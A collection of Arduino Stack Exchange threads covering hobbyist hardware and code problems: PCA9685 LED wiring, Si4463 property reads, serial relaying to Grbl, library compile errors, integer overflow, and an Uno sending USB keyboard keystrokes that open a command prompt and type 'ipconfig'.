text:
PCA9685 seemingly no PWM output Arduino Uno when attempting to do LED dimming
Just for a quick test I've wired up the Arduino to a PCA9685 board (similar to http://www.ebay.com.au/itm/PCA9685-16-Channel-12-bit-PWM-Servo-motor-Driver-I2C-Module-For-Arduino-Robot-AU-/162059198475?hash=item25bb7b200b:g:S7IAAOSw9ZdXKa7h) as follows

5v > Vcc & V+
GND > GND
A4 > SDA
A5 > DCL
OE > Not connected

I've wired a 1k resistor in series and an LED in between PWM0 and GND
The same LED dims fine when powered directly via PWM from the Arduino.
The power light on both boards come on and +5v is available at the V+ pins.
The library I'm attempting to use is https://github.com/kasperskaarhoj/PCA9685-Arduino-Library and from what I can tell the I2C address I've configured "works"
The sketch I'm trying to run is (which is one of the example sketches with the address I2C altered):
#include <Wire.h>
#include <PCA9685.h>

PCA9685 ledDriver;

void setup()
{
  Serial.begin(9600); // set up serial
  Serial.println("Serial Started");

  Wire.begin();           // Wire must be started!
  ledDriver.begin(B000000);  // Address pins A5-A0 set to B111000
  Serial.println(ledDriver.init());

}

void loop()
{
  // Notice: setLEDDimmed cannot be used in a loop to give you a pleasant
  // "turning-up" of the LED. This is because each time you set a level for a LED
  // it will calculate random timing intervals for the PWM function in the chip
  // This is done in order to distribute current consumptions of the full time period.
  for(int level=5;level>=0;level--)  {
    for(int i=0; i<16; i++)  {
      ledDriver.setLEDDimmed(i,level*20);
      delay(100);
    }
  }
  for(int level=0;level<=5;level++)  {
    for(int i=0; i<16; i++)  {
      ledDriver.setLEDDimmed(i,level*20);
      delay(100);
    }
  }
}

Serial monitor outputs:
Serial Started
1
So it looks like the device is detected and I expect that the commands are sent but nothing happens.
I've also tried one other library and setting the duty cycle to 100% on/off just to see if I could get output with no luck. It just seems that all the PWM pins are dead. I also tried wiring up the OE pin and setting it high/low with no luck.
Any thoughts on how I might be able to get the board to output something or how I can test further would be appreciated. I'm beginning to think that maybe the IC is damaged as I've tried most the pins with no luck.
I'm out of ideas and haven't worked with I2C or PCA9685's before at all so any help would be appreciated :)

So you talk to the PCA9685 board using I2C.  Did you put I2C pull up resistors on the lines.  They are normally open collector outputs at both ends.  So w/o pull up resistors the I2C bus lines are usually floating if not pulled to ground by a transmitting device.  If this works, I'll formalize the wording and add it as an Answer you can select.

Try connecting the OE pin to GND (active low).

The LED should be (with its inline current limiting resistor) between VDD and the LED pin, not to ground - and then configure the pin for Open Collector mode.

Thanks for the great suggestions guys - I hadn't considered any of them really - @Majenko your comment was the one that solved the issue - I'd connected the resistor between PWM and GND not V+ and PWM0 If you'd like to post it as an answer I'll accept it as the solution :)

The LED should be (with its inline current limiting resistor) between VDD and the LED pin, not to ground - and then configure the pin for Open Collector mode.


text:
How to use get_properties to get RSSI in RF24?
As picture below, how to use get_properties ? I fail to understand AN625, how to use get_properties to get RSSI ?

Adding source code based on RH_RF24 functions.

#include <SPI.h>
#include <RH_RF24.h>

// Singleton instance of the radio driver
RH_RF24 rf24;

uint8_t Recieve_Data[20];

uint8_t receive_buffer[RH_RF24_MAX_MESSAGE_LEN];
uint8_t receive_buffer_length = sizeof(receive_buffer);

uint8_t Rssi;

unsigned long Micro_Time;

uint8_t status[8];
uint8_t buf[RH_RF24_MAX_MESSAGE_LEN];
uint8_t len = sizeof(buf);

void setup()
{
  Serial.begin(115200);
  if (!rf24.init())
    Serial.println("init failed");
  // Defaults after init are 434.0MHz, modulation GFSK_Rb5Fd10, power 0x10
   while(!rf24.setFrequency(443));
  rf24.setModemConfig(rf24.GFSK_Rb50Fd100);  //设置成GFSK_Rb50Fd100
}

void loop()
{
  rf24.setModeRx();
  delay(100);
  rf24.setModeIdle();
  rf24.command(RH_RF24_CMD_GET_INT_STATUS, NULL, 0, status, sizeof(status));
  Serial.print("Id   ");
  for (int i = 0; i <= 8; i++)
  {
    Serial.print((uint8_t)status[i]);
    Serial.print("   ");
  }
  Serial.println();
  /*
    if (status[2])
    {
      uint8_t modem_status[6];
      rf24.command(RH_RF24_CMD_GET_MODEM_STATUS, NULL, 0, modem_status, sizeof(modem_status));
      delay(100);
      for (int i = 0; i <= 6; i++)
      {
        Serial.print(modem_status[i]);
        Serial.print("   ");
      }
      Serial.println();
    }
  */
  delay(400);
}

What part are you using, as that function is only available for Silicon Labs Si4460/4461/4463/4464 family of transceivers chip, and the equivalent HopeRF RF24/26/27 family of chips and the HopeRF RFM24W/26W/27W modules

@Gerben  I use Si4463.

As coded in the "Github - lora_chisterapi/lib/radiohead/RH_RF24.cpp", firstProperty = (GROUP << 8) + (START_PROP) and uint8_t* values + uint8_t count are used to stored the read properties.

@J.Piquard  Could you write an example, I don't understand it well. Seemly, I can get RSSI just use RH_RF24::command as in web you given.

Instead of using the command() as a static call (RH_RF24::command), the best approach should be to use a class instantiation and declare a RH_RF24 rf24; before setup() function and initialize the instance with a rf24.init() call. So, could you provide what source code you have tried in your Arduino in order to give you a more concrete example ?

@J.Piquard  I am very sorry, I don't know how to edit code, so , although I have add them in my question , but they are not clear.

@lanse7pty, I have formatted your added source code, but wait for the peer review. Your source code seems good, but be careful with the use of sizeof(status) in the request rf24.command() (only available when the size of the item is 1 = sizeof(uint8_t)) then i <= 8 in the for-loop display.

By using the RH_RF24 rf24;(Singleton instance of the radio driver), read a series of properties is really simple.

The properties shall be in the same GROUP,
Up to 16 properties could be read in the same request,

Hereafter is a example to read from SYNC_CONFIG to SYNC_BITS_7_0 (5
  properties).

Step 1 - Declare your own uint8_t sync_stat[5]; or use the still declared uint8_t status[8];.
 uint8_t sync_stat[5];

Step 2 - The firstProperty is in fact the first property to be read and count is the number successive properties to be read (from SYNC_CONFIG = 0x1100 to SYNC_BITS_7_0 = 0x1104.
// And check the returned code
if (rf24.get_properties(SYNC_CONFIG,sync_stat,5)) {
    // sync_stat[0]= SYNC_CONFIG
    // ...
    // sync_stat[4]= SYNC_BITS_7_0
}

Then, the equivalent command() is:

uint8_t buf[3];
buf[0] = SYNC_CONFIG >> 8;
buf[1] = 5;
buf[2] = SYNC_CONFIG & 0xff;
if (rf24.command(RH_RF24_CMD_GET_PROPERTY, buf, sizeof(buf),sync_stat,5)) {
    // Same array
}

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

authors: Дем'ян Пиріг

authors: Евгений Степанов

sort: votes


text:
Use an Arduino to "intercept" transparently serial communication to Grbl?
I need to have an Arduino "spying" on communications between the PC and another Arduino with GRBL. The goal is to intercept a couple of GCode commands and act on them instead of Grbl.
My first step is to attempt to be as transparent as possible, but so far, I am not getting from Grbl the clear answer I expect. For example, I get Grbl 1.1d [?2???B???u5 instead of Grbl 1.1d ['$' for help]
Here is my code so far.
#include <SoftwareSerial.h>

int PortOneTX = 10;
int PortOneRX = 11;

const String USB = "USB";
const String GRBL = "GRBL";

char endOfLine = '\n';

SoftwareSerial portOne(PortOneRX, PortOneTX);

String grblBytes = "";
String USBBytes = "";

void setup()
{
    Serial.begin(115200);
    while (!Serial)
    {
        ; // Do nothing, just wait till we are connected through USB
    }
    portOne.begin(115200);
    portOne.write("\r\n");
    delay(2);       ;
}

String stringtoWrite = "";

void loop()
{
    if (portOne.available() > 0)//while (portOne.available())
    {
        stringtoWrite = portOne.readStringUntil(endOfLine);
        for (int i = 0; i < stringtoWrite.length(); i++)
        {
            Serial.write(stringtoWrite[i]);
        }
        Serial.write(endOfLine);

    }
    if (Serial.available() > 0)//while (Serial.available())
    {
        stringtoWrite = Serial.readStringUntil(endOfLine);
        for (int i = 0; i < stringtoWrite.length(); i++)
        {
            portOne.write(stringtoWrite[i]);
        }
        portOne.write(endOfLine);

    }
}

I feel that I should be using events instead of if (serial.available) in the loop, but I am not sure how to go about it. I thought it would be easy!
Anyway, as I want Grbl-Panel to work totally transparently, I need this first step to be Ok before doing anything else.
Thanks for your help.

First, you shouldn't connect the TX. Having two arduino driving a single line could cause some serious problems, when one tries to drive it HIGH, and the other LOW. Secondly, there is no need to buffer the serial data coming in, till you read a newline. Just see if there is a byte available, and if so send the byte forward using Serial.write. This will also negate the need for String which is very inefficient.

Sorry, but how can I initialize SoftwareSerial without a TX pin?
In previous tests, I did as you say, just send every received byte, did not do any better.

You can specify a pin in software. Just don't connect a wire between pin 10 and the TX pin on the target board. As the the other part. I though there could have been a speed issue, but that's apparently not it.

A diagram of how you have it all connected would be useful. I think @Gerben is assuming you have the device connected to the existing serial lines (sniffing them), but I think you've got it connected like a man-in-the-middle... Right?

I guess I could make quickly a fritzing picture, bu I don't think it's needed:
I have one Arduino with GRBL on it, let's name it 'GRBL'
I have a 2nd Arduino, with the code shown on it. Named 'USB'
The USB Arduino is linked to the computer, and after flashing my code to it, I connect to it via a serial terminal. USB is also connected, via Pin 10 on grbl Pin 0 (TX on RX) and Pin 11 on grbl pin 1 (RX on TX). Both are also connected by a GRND wire. I have also connected USB +5 to GRBL VIN, but it seems it's not really required.

@BernardG I suspect nobody is going to bother to decode that block of text. It's clear to you because you have it all in front of you and you've designed it. It's not very clear to me. A diagram would really help.

@MarkSmith - I added a schema as you asked for. Hope it makes it clear.

SoftwareSerial at 115200 is optimistic.

@MikaelPatel - I was starting to think along this line. I will change the parameter in GRBL to 57600, and do the same in my code. Eventually go lower if needed. I'll report here my findings.

I just switched to 57600, as I said earlier, and without changing anything in code, it start to be much better. For example, Grbl welcome message is now correct, without garbage. There is still work to be done, but it seems I am on the right track now.

@BernardG, please forgive my ignorance, I am new to Arduino. In your first comment, you mentioned just forwarding each byte, not waiting until end of line. How would you intercept commands without buffering them? Perhaps you could "start" to buffer, until such a point in time that the input can't match any of the commands to intercept, then forward byte-by-byte until next new line? Otherwise it seems that you would need to buffer? But I agree that this would get in the way if throughput...

@AndrewP. You are right, doing so would not allow me to intercept commands. It was just for testing if I could have an Arduino "in-between" transparently. Ince sure of that, I would have wrote the code needed to buffer.
But I am not sure to continue in that direction, as it really looks like the normal speed of 195200 is way too high for SoftwareSerial.

@BernardG, Ah, cheers for that :) good luck with the build!

I finally solved my problem by buying an Arduino Due! It was a problem of speed, not of code. The Uno is just not powerfull enough to read an write to Software Serial at 115200 Bauds, or even 9600, which I tried.
The Due has absolutly no problem. I made a small code test to intercept "words" coming form "USB" To "GRBL", and it works just as expected, while GCODE is send (using Grbl-Panel on the PC) through the Due (USB) to the Uno (Grbl).
It's the very first time I solve what I thought to be a code problem by an hardware solution.
BTW, in case anyone wonder, yes, I am using a level shifter between the 2.

Hi, Bernard, thanks for sharing the code example and the answer to your original question. I just got Arduino Due and trying to use your example. However, I get "SoftwareSerial.h: No such file or directory". I wonder which software serial library you used that worked with Arduino Due?

authors: Марк Якимчук

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
I seem to be having trouble with these libraries and the Arduino 101. Can anyone look at my output and tell me what I should do?
I'm not finding many resources out there. I already tried using new versions of "TFTv2.h" and "TFTv2.cpp", but I don't think much of anything changed in my output.
These are the libraries I'm trying to use. The sketch I'm trying to compile for the 101 is empty except for these lines and an empty setup() and loop().
#include <stdint.h>
#include <TFTv2.h>//For Seedstudio Touch
#include <SPI.h>
#include <SeeedTouchScreen.h>   //Seedstudio LCD touch screen Library File
#include <SD.h>//For Seedstudio Touch
#include <XBee.h>   //Zigbee Wireless transciever Library File
#include <Printers.h>   //Zigbee Wireless transciever Library File

Basically I need to know whether I need to find replacements or workarounds for these libraries. Compiling for the 101 in Visual Studio, I get a lot of output messages that I don't get when compiling for the Mega. I have more-or-less no idea what they mean.
I'll go ahead and paste the non-verbose output here. Thanks for your advice! Let me know if I should add the verbose output, and I'll post it right away.
output (non-verbose);
Compiling debug version of 'Arduino_101trial' for 'Arduino/Genuino 101'
Sd2Card.cpp:In member function 'uint8_t Sd2Card::readData(uint32_t, uint16_t, uint16_t, uint8_t*)
Sd2Card.cpp:379:12: warning: unused variable 'n' [-Wunused-variable]
:uint16_t n
SdFile.cpp:In static member function 'static uint8_t SdFile::make83Name(const char*, uint8_t*)
SdFile.cpp:261:15: warning: unused variable 'b' [-Wunused-variable]
:uint8_t b
SdFile.cpp:In member function 'uint8_t SdFile::rmRfStar()
SdFile.cpp:907:40: warning: comparison between signed and unsigned integer expressions [-Wsign-compare]
:if (curPosition_ != (32*(index + 1))) {
TFTv2.cpp:In member function 'void TFT::drawString(char*, short unsigned int, short unsigned int, short unsigned int, short unsigned int)
TFTv2.cpp:388:18: warning: value computed is not used [-Wunused-value]
:*string++
SeeedTouchScreen.cpp:In file included from
pins_arduino.h:39:14: error: 'uint8_t' does not name a type
:static const uint8_t SS   = 10
pins_arduino.h:40:14: error: 'uint8_t' does not name a type
:static const uint8_t MOSI = 11
pins_arduino.h:41:14: error: 'uint8_t' does not name a type
:static const uint8_t MISO = 12
pins_arduino.h:42:14: error: 'uint8_t' does not name a type
:static const uint8_t SCK  = 13
pins_arduino.h:44:14: error: 'uint8_t' does not name a type
:static const uint8_t SDA = 18
pins_arduino.h:45:14: error: 'uint8_t' does not name a type
:static const uint8_t SCL = 19
pins_arduino.h:46:14: error: 'uint8_t' does not name a type
:static const uint8_t LED_BUILTIN = 13
pins_arduino.h:48:14: error: 'uint8_t' does not name a type
:static const uint8_t A0 = 14
pins_arduino.h:49:14: error: 'uint8_t' does not name a type
:static const uint8_t A1 = 15
pins_arduino.h:50:14: error: 'uint8_t' does not name a type
:static const uint8_t A2 = 16
pins_arduino.h:51:14: error: 'uint8_t' does not name a type
:static const uint8_t A3 = 17
pins_arduino.h:52:14: error: 'uint8_t' does not name a type
:static const uint8_t A4 = 18
pins_arduino.h:53:14: error: 'uint8_t' does not name a type
:static const uint8_t A5 = 19
pins_arduino.h:55:14: error: 'uint8_t' does not name a type
:static const uint8_t ATN = 20
Arduino.h:In file included from
wiring_private.h:from
SeeedTouchScreen.cpp:from
SeeedTouchScreen.cpp:In member function 'Point TouchScreen::getPoint()
SeeedTouchScreen.cpp:94:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) &= ~yp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:95:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(ym_port) &= ~ym_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:100:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) |= xp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:101:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xm_port) &= ~xm_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:127:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) &= ~xp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:130:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) |= yp_pin
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:153:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(xp_port) &= ~xp_pin;            \\ Set X+ to ground
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:154:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(ym_port) |=  ym_pin;            \\ Set Y- to VCC
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
SeeedTouchScreen.cpp:155:25: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
:*portOutputRegister(yp_port) &= ~yp_pin;            \\ Hi-Z X- and Y+
variant.h:in definition of macro 'portOutputRegister
:#define portOutputRegister(port)  (uint32_t*)port
Error compiling libraries

@Gerber- Thanks for fixing my formatting!

So it looks like you have some warnings in Sd2Card.cpp, SdFile.cpp, TFTv2.cpp
For the most part you can ignore these warnings
As for SeeedTouchScreen.cpp it looks like you're getting Errors for pins.
does not name a type means that uint8_t is not a type Visual Studio understands.
Then further down you're getting another warning for SeeedTouchScreen.cpp
cast to pointer from integer of different size
Did you make sure that whatever board you're using is compatible with these libraries?

The Arduino Mega has 54 digital input/output pins (of which 14 can be used as PWM outputs), 16 analog inputs, 4 UARTs (hardware serial ports)
The 101 comes with 14 digital input/output pins (of which 4 can be used as PWM outputs), 6 analog inputs.
This means that if your libraries are designed for the Mega and no other board you will run into these errors

I think you're right, because despite some other loading issues which I now believe are unrelated (waiting for board and port reconnecting), I was finally able to compile and load a simple sketch.
The one thing I had to do was comment out SeeedTouchScreen.h, so I suppose it did ignore all of those other issues.
I'm now looking for a new version of this library, but if it has something to do with the pins, perhaps i can improvise a solution and modify the existing library. Perhaps I'll submit a pull request!

authors: มีสุข ทุกวัน


text:
Arduino Serial.println() keeps transmitting data even when conditions are imposed
I am using Arduino UNO and a bluetooth module.  I have used an if condition so that Serial.println() happens only once but it keeps on printing.  Please help. Below is the code.
//Begin CODE
char str;
String fnal;
int i;

void setup()
{
  Serial.begin(9600);
  fnal="";
  i=0;
}

void loop()
{
  i++;
  if(i<2)
  {
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

According to this code # and 1 should be printed only once but in serial monitor the printing continues infinitely.

It works as expected for me, and the code looks OK.  If it doesn't work for you, try printing out the value of i (Serial.println(i);) and see if you can work out what's going wrong.

In setup add a Serial.print, eg. Serial.println ("Starting"); to see if the board is resetting for some reason.

Try changing the i++; with i+=1;

The idiom i++; alters the value of i. The two forms you posted are identical in function. If you do a = i++; then a is the value of i before adding 1 to it. However 1 is added to i, whether or not you store the result. Alternatively a = ++i; makes a have the value of i after adding 1 to i.

It is definitely an overflow issue.
You declared i as int which ranges from -32768 to 32767.
I wrote this code as an experiment:
void loop() {
  unsigned long now = millis();
  i++;
  if(i==0){
    Serial.println(now);
  }
}

The result is i overflows every 264 ms, so if(i<2) will be true many times per second.
A simple solution is to put i++; inside the if instead, like this:
void loop()
{
  if(i<2)
  {
    i++;
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

i will stop incrementing when the value is 2.
No more overflow.

If you had put a Serial.print inside loop you would have seen the problem. Debugging displays are very helpful. Like this:
void loop()
{
  i++;
  Serial.println (i);   // <---- debugging
  if(i<2)
  {
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

Since you are adding 1 to i each time around the loop, how long do you think it will go before i overflows? It will go up and up, get to 32767 and then become -32768, and then count back to 0. During that time it will be less than 2, and it will do the printing of "#1".

I'll try that out Nick...I think that might have been the actual problem..I'll use a boolean variable maybe..thanks man!


text:
How to set timeout?
Want to implement timeout for RPS counter after for instance 1 second. Since here I use status change for RPS calculation, I suppose that if the state is either HIGH or LOW for more than one seconds then rps should return 0.
However, it does not work. What is the problem.
float rps[4]={0.00,0.00,0.00,0.00};
unsigned long int PRINT_PERIOD = 1000;
unsigned long int lastTimePrinted = 0;
int lastReedState[4];
unsigned long lastTransition[4]={0,0,0,0};
//int reedState[4];
//unsigned long now[4]={0,0,0,0};
float rps_result[4]={0,0,0,0};
float rps_resul[4];
//unsigned long revolutionTime[4]={0,0,0,0};

unsigned long int LT;  // Last Time
unsigned long int PT;  // Passed Time
unsigned long int TT;  // Time

void setup(){

 Serial.begin(9600);

 DDRD &= ~_BV (7); // pinMode (7, INPUT);       // rps_1
 DDRB &= ~_BV (0); // pinMode (8, INPUT);       // rps_2
 DDRC &= ~_BV (1); // pinMode (A1, INPUT);      //  rps_3
 DDRD &= ~_BV (2); // pinMode (2, INPUT);       //  rps_4

delay(85);

}

float rps_out(int k){

    //static int lastReedState;
    //static unsigned long lastTransition;
    //static float rps_result;
    //float rps_result;
    int reedState;
    unsigned long now;
    unsigned long revolutionTime;

   if ( k == 0 )     reedState = (PIND & _BV (7)) == 0; // digitalRead (7);
   else if ( k==1 )  reedState = (PINB & _BV (0)) == 0; // digitalRead (8);
   else if ( k==2 )  reedState = (PINC & _BV (1)) == 0; // digitalRead (A1);
   else if ( k==3 )  reedState = (PIND & _BV (2)) == 0; // digitalRead (2);

    // On a rising transition of the reed switch:
    if (reedState == HIGH && lastReedState[k] == LOW) {                   // HIGH  LOW   measuring the low period    // LOW HIGH measuring the high period
        // Compute time since last valid transition.
        //unsigned long now = micros();
        //unsigned long revolutionTime = now - lastTransition;       // measuring the High period
         now = micros();
         revolutionTime = now - lastTransition[k];       // measuring the High period
        // Compute the rps

        //if(revolutionTime[k] == 0 ) return 0;

        if(revolutionTime == 0 ) rps_result[k] = 0;     // avoid deviding by zero

         rps_result[k] = 1.00 / (12.00*revolutionTime) *1000000.00;  // 12 is rotary encoders resolution

        // Remember this transition.
        lastTransition[k] = now;

    }

    // Remember last state.
    lastReedState[k] = reedState;

////////////////////////////////////////////////////////////   timeout

    if(reedState == HIGH || reedState == LOW  ) {

       PT = millis();
       TT = PT - LT;
    if( TT > 1000)  rps_result[k] = 0;

     LT = PT;

}

//////////////////////////////////////////////////////////////////

    if(rps_result[k] < 1) return 0.00;
    return rps_result[k];

}

void loop() {

   rps[0] = rps_out(0);
   rps[1] = rps_out(1);
   rps[2] = rps_out(2);
   rps[3] = rps_out(3);

    if (millis() - lastTimePrinted >= PRINT_PERIOD) {

     Serial.print(rps[0]);
     Serial.print(',');
     Serial.print(rps[1]);
     Serial.print(',');
     Serial.print(rps[2]);
     Serial.print(',');
     Serial.println(rps[3]);

      lastTimePrinted = millis();

     }

}

Please post a Minimal, Complete, and Verifiable example

Since you need less that 1 second between changes, the minimal RPS would be 60.
So just change if(rps_result[k] < 1) return 0.00; to if(rps_result[k] < 60) return 0.00;


text:
Arduino + HM-10/11 + ANCS to get notifications for iPhone
I am wondering if there are any current solution to receive notifications on iPhone through ANCS and HM-10/11 Bluetooth LE module. An Arduino library?
https://stackoverflow.com/questions/28488529/is-it-possible-to-use-hm-10-or-hm-11-ble-module-with-arduino-to-communicate-with/30625967#30625967
One of the answer of this question talked about a number of AT commands that can be used to configure the HM-10/11 to use the ANCS. But the part receiving and getting the notification details seems to be quite complicated. In addition, it should also require an iOS app to establish the connection according to the note below 1.5.
There seemed to be no information online about this even though the manufacturer confirmed with me they do provide support for ANCS for this module.
Are there anyone working on this with an Arduino? Could you please share more about this?
Or are there anyone who can help develop this library together?

I don't see anything about needing an app. Try searching for ANCS CC2541


text:
Arduino Uno as a HID the letters duplicate
This is my current result.

I don't know how to solve this.
This is my code:
//Modifier Keys
#define LEFT_CTRL   0x01
#define LEFT_SHIFT  0x02
#define LEFT_ALT    0x04
#define LEFT_GUI    0x08
#define RIGHT_CTRL  0x10
#define RIGHT_SHIFT 0x20
#define RIGHT_ALT   0x40
#define RIGHT_GUI   0x80

//Keys
#define KEY_ENTER 0x28
#define KEY_BACKSPEACE 0x2A
#define KEY_TAB 0x2B
#define KEY_CAPSLOCK 0x39
//keyPress(RIGHT_ALT, 0x1F);

uint8_t buf[8] = { 0 }; //buffer

void setup()
{
  Serial.begin(9600);
  delay(600);
  keyPress(LEFT_GUI, 0x15); // Windows keys + R
  keyRelease();
  delay(200);
  keyString("cmd");
  delay(500);
  keyPress(0, KEY_ENTER);
  keyRelease();
  delay(500);
  keyString("ipconfig");
  delay(500);
  keyPress(0, KEY_ENTER);
  keyRelease();
}

void loop()
{
  //keyString("abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 - = [] \\ ; ' , . / !@#$%^&*()_+ {}|; \" <> ?"); // <---test key
}

void keyRelease()
{
  buf[0] = 0;
  buf[2] = 0;
  Serial.write(buf, 8); // Release key
}

void keyString(String text) {
  char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
  int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};
  //                                                                                39    61    91    93    44    46    45    32    43
  char normal_sym[] =     { '1',  '2',  '3',  '4',  '5',  '6',  '7',  '8',  '9',  '0',  '\'',  '¡',  '[',  '+', 'ñ',  ',',  '.',  '-',  ' ',  '+'};
  int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,  0x2D, 0x2E, 0x2F, 0x30, 0x33 ,0x36, 0x37, 0x38, 0x2C, 0x57};

  char shift_sym[] =     { '!',  '"',  '#',  '$',  '%',  '&',  '/',  '(',  ')',  '=',  '?',  '¿',  '°',  '*',  'Ñ', '{',   ';',  ':',  '_'};
  int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x33, 0x34, 0x36, 0x37, 0x38};

/*  English Dic
  char alpha[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
  int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};

  char normal_sym[] =     {  '1', '2',  '3',  '4', ' 5',  '6',  '7',  '8',  '9',  '0',  '-',  '=',  '[',  ']',  '\\', ';'  '\'',  ',',  '.',  '/',  ' '};
  int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38, 0x2C};

  char shift_sym[] = {'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '{', '}', '|', ':', '\"', '<', '>', '?'};
  int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38};
*/
  char temp_char;

  for(int i = 0;i<text.length();i++)  //Recorre lo que vos le mandaste
  {
    temp_char = text.charAt(i); //Agarra el primer caracter que se le envia por parametro
    if(((int)temp_char >= 97 && (int)temp_char <= 122) || ((int)temp_char >= 65 && (int)temp_char <= 90)) //Si el caratecer es una letra mayuscula o minuscula ---
    {
      for(int j = 0;j<sizeof(mean_dic) - 1;j++) //Recorre esta lista
      {
        if(temp_char == alpha[j]) //Si el caracter es igual al de la lista entonces...
        {
          keyPress(0, mean_dic[j]); //Presionalo
          keyRelease();
          break;
        }
        else if(temp_char == toupper(alpha[j])) //Si el caracter es igual al de la lista (En MaYuscula)
        {
          keyPress(RIGHT_SHIFT, mean_dic[j]); //Presionalo
          keyRelease();
          break;
        }
      }
    }

    else if(((int)temp_char >= 48 && (int)temp_char <= 57) || ((int)temp_char >= 43 && (int)temp_char <= 46 || (int)temp_char == 32  || (int)temp_char == 39 || (int)temp_char == 173 || (int)temp_char == 164 || (int)temp_char == 91 || (int)temp_char == 93)) //Si el caratecer es una letra mayuscula o minuscula...
    {
      //check = false; //Flag para distinguir nros de caractes especiales
      for(int j = 0;j<sizeof(mean_normal_sym)-1;j++)  //Recorro los nros
      {
        if(temp_char == normal_sym[j]) //Si en una de esas coincide
        {
          keyPress(0, mean_normal_sym[j]);
          keyRelease();
          break;
        }

      }
    }

    else
    {
        for(int i = 0;i<sizeof(mean_shift_sym)-1;i++)//Di lo tuyo Bart...
        {
          if(temp_char == shift_sym[i])
          {
            keyPress(LEFT_SHIFT, mean_shift_sym[i]);
            keyRelease();
            break;
          }
        }
      }
  }
}

void keyPress(int mod, int key)
{
  buf[0] = mod;
  buf[2] = key;
  Serial.write(buf, 8);
}

Why does the CMD command work and yet the ipconfig command has a problem?

I cannot see what makes an Arduino UNO with this code a HID device. Can someone enlighten me? I just see a bunch of serial prints.

i suspect that the OP is not using an Arduino UNO

You might want to consider using the function isAlpha() If its on an Arduino.
Also if (tempChar == 'A') will work and make the code more readable.
I suspect the problem you have is caused by keyPress() and keyRelease().  You are setting 4 bytes of buffer and then writing 8 bytes to the serial interface.  What is the value in buffer[4]?  I think its a lucky coincidence that its duplicating characters rather than crashing.

i dont realy get what you are saying so please can you explain more

Why are you writing 8 characters from buf after only setting two bytes to something, in keyPress?

@Matt - the default for global variables is to be set to zero, but still ...

@NickGammon I've been stung to many times by that to trust it any more. :)

@KarimNagdi - Nick is right, you are putting 2 int variables mod and key into buf.  This means you are writing 4 bytes into buf (each int is 2 bytes ?) and then you are writing all 8 bytes of buf out with your call to Serial.write(buf,8).  As Nick said above buf[4] should be zero.
So either you are calling keyPress() twice or because you are not supplying enough data Serial.write() is repeating the buffer.  These are guesses, they might be way off the mark, but its worth looking at.

authors: максим гурко


text:
Communication between Raspberry PI (Windows IOT) and Arduino with ESP8266
I'm currently working on a Home Automation project where I have a Raspberry Pi on Windows IoT which communicates with multiple arduinos running on FreeRTOS (I need multi-tasking).
At the moment the communication is through the serial port using Xbees, the Pi sends a command, and the arduino send's back a string in JSON format.
For cost optimisation reasons, I want to try to switch the Xbees with ESP8266 modules. Is it possible to get the same kind of serial communication over WIFI?Thanks.

Is it possible to get the same kind of serial communication over WIFI?

Not precisely, no - but TCP sockets are a similar concept.
